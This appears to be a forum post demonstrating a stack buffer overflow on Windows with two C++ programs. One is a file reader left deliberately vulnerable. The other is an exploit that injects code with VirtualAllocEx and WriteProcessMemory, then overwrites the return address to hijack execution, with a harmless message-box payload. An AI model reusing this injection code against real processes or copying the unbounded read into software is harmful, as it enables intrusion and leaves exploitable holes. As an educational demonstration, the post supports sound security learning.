It took some time, but I managed to create a program to utilizes a buffer overflow exploit.
See it in action over at https://www.youtube.com/watch?v=s1a7...ature=youtu.be.
Full code below.
Code consists of two programs. One which is innocent program that just reads a file and display what it reads to the user, but does so in a way that's exploitable.
The other program is the perpetrator which exploits this loophole to hijack the program.
Innocent program:
Code:
#include <iostream>
#include <fstream>
int main()
{
char MyString[256];
std::ifstream InF("Hacked.txt");
// Don't do this. Seriously. This line is precisely what causes this exploit to actually work. Use a std::string instead.
InF >> MyString; // Don't do this
std::cout << "The contents of the file was: " << MyString << ". Goodbye!\n";
std::cout << "Press any key to continue...";
std::cin.get();
}
Perpetrator:
Code:
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <fstream>
constexpr char* StringBaseAddr = (char*)0x12340000;
void InjectedCode()
{
typedef int (WINAPI MsgBoxFnc)(HWND, LPCWSTR, LPCWSTR, UINT);
// The actual address of functions between processes can differ, so we hardcode the address in the target EXE
auto MsgBox = (MsgBoxFnc*)0x7579FD3F;
// We cannot pass string literals here since they would end up being embedded into the executable and not as actual code. The code would just push the addresses to these
// strings on the stack in the function call. So we have to copy over these strings into the target process's memory and pass their addresses here.
MsgBox(nullptr, (wchar_t*)StringBaseAddr, (wchar_t*)(StringBaseAddr + 100), MB_ICONEXCLAMATION);
// One would actually be surprised at how hard it is to inject code. Things like functions have other addresses, making functions call of any time difficult.
// In fact, the C++ standard library tends to be loaded at different addresses each time the program is run, so no calls to STL functions could be made (including std::cout).
// It should be possible to locate these symbols, however. But that's a task for another time.
for (;;);
}
PROCESS_INFORMATION SpawnProcess()
{
STARTUPINFO si = {};
PROCESS_INFORMATION pi = {};
si.cb = sizeof(si);
si.wShowWindow = SW_SHOW; // Ensure spawned process console is visible
CreateProcessW(LR"(\Other\Visual Studio\Bin\Test\x86\Debug\Test.exe)", L"", nullptr, nullptr, FALSE,
// We create it suspended because we need to inject code into the target's virtual memory before it executes.
// We also create a new console so that the process doesn't hijack this process's console.
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
nullptr, nullptr, &si, &pi);
return pi;
}
int main()
{
{
std::cout << "Running normal (no buffer overrun)...\n";
std::cout << "Press any key to continue...";
std::cin.get();
auto pi = SpawnProcess();
// Write a normal file (no buffer overrun)
std::ofstream OutF("Hacked.txt");
OutF << "Hello World!";
// Make sure to close file so the target process can read it.
OutF.close();
ResumeThread(pi.hThread);
}
{
std::cout << "\nRunning code injection (by exploiting buffer overrun)...\n";
std::cout << "Press any key to continue...";
std::cin.get();
auto pi = SpawnProcess();
// Allocate a region of virtual memory in the target process so we can inject code
char* AddressToInjectedCode = (char*)VirtualAllocEx(pi.hProcess, StringBaseAddr, 0x3000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Ensure the address we inject to does not have any 0 bytes because when reading a string, a 0 byte it considered a null terminator (end of string) and hence is not
// written to the target string when reading. This is problematic since it may cause the process to jump to the wrong address!
AddressToInjectedCode += 0x1234;
// Inject the hijacked code
WriteProcessMemory(pi.hProcess, AddressToInjectedCode, &InjectedCode, 0x1000, nullptr);
// Write the string literals to the target process memory. This is since these string do not exist in the target process executable and we need to pass these
// to MessageBoxW.
WriteProcessMemory(pi.hProcess, StringBaseAddr, L"You have been hacked! Mwahahaha!", (wcslen(L"You have been hacked! Mwahahaha!") + 1) * sizeof(wchar_t), nullptr);
WriteProcessMemory(pi.hProcess, StringBaseAddr + 100, L"You have been hacked!", (wcslen(L"You have been hacked!") + 1) * sizeof(wchar_t), nullptr);
// Write the file. As it turns out, we need to write 272 bytes. These can be anything, as long as they don't contain a null terminator since the target process
// will then stop reading. Starting at the 273th byte, magic happens! The target process does not check for buffer overruns and will happily just continue writing
// bytes for as long as it can find bytes in the file. Eventually, it runs past its buffer.
// The stack grows downwards. That means higher addresses belongs to elements "further down" the stack. One piece of data stored on the stack is the return address for
// function calls. When a function call is made, the return address is stored on the stack. We can overwrite this return address to make the target process jump to a
// function we specifically injected.
// All we need to do is put enough data in the file (and the correct contents) such that the target process writes beyond the buffer and overwrites the return address
// and we're done!
std::fstream OutF("Hacked.txt", std::ios_base::in | std::ios_base::out | std::ios_base::binary);
OutF << "abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890abcdefghijklmnopqrstuvwxyzċäöABCDEFGHIJKLMNOPQRSTUVWXYZĊÄÖ1234567890";
// Here we write the address to the address where we injected the code. These 4 bytes will overwrite the stack return address and cause the program to jump to this
// new injected address instead.
OutF.write((char*)&AddressToInjectedCode, 4);
// Make sure to close file so the target process can read it.
OutF.close();
ResumeThread(pi.hThread);
std::cout << "\n";
}
return 0;
}
Disclaimer: This works if the innocent program is compiled in Debug config and the perpetrator is compiled using Release config. Tested with Visual Studio 2015. Don't expect it to work with other compilers.